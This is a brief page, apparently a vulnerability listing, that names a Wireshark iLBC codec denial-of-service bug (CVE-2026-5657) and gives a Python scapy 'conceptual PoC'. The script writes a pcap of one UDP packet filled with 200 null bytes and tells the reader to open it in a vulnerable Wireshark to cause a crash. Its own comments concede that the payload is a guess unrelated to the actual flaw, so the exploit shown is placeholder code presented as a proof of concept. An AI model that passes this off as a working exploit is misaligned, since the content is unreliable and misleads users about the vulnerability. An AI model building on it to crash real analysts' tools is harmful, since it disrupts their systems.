CVE-2026-5657 Wireshark iLBC编解码器拒绝服务漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-5657 # This script generates a pcap file containing a malformed packet targeting the iLBC codec. # Note: The specific malformed payload structure to trigger the crash depends on the bug details. from scapy.all import * import sys def generate_poc(filename): # Craft a basic UDP packet (RTP often uses UDP) # iLBC is a codec often used in VoIP/RTP ip = IP(dst="127.0.0.1") udp = UDP(sport=12345, dport=5004) # Simulate a malformed payload. Real exploit would adjust specific bytes. # Assuming a crash triggered by length or specific pattern. malformed_payload = b"\x00" * 200 pkt = ip/udp/Raw(load=malformed_payload) wrpcap(filename, [pkt]) print(f"[+] PoC file generated: {filename}") print(f"[+] Open this file with vulnerable Wireshark to reproduce the crash.") if __name__ == "__main__": generate_poc("cve_2026_5657_poc.pcap")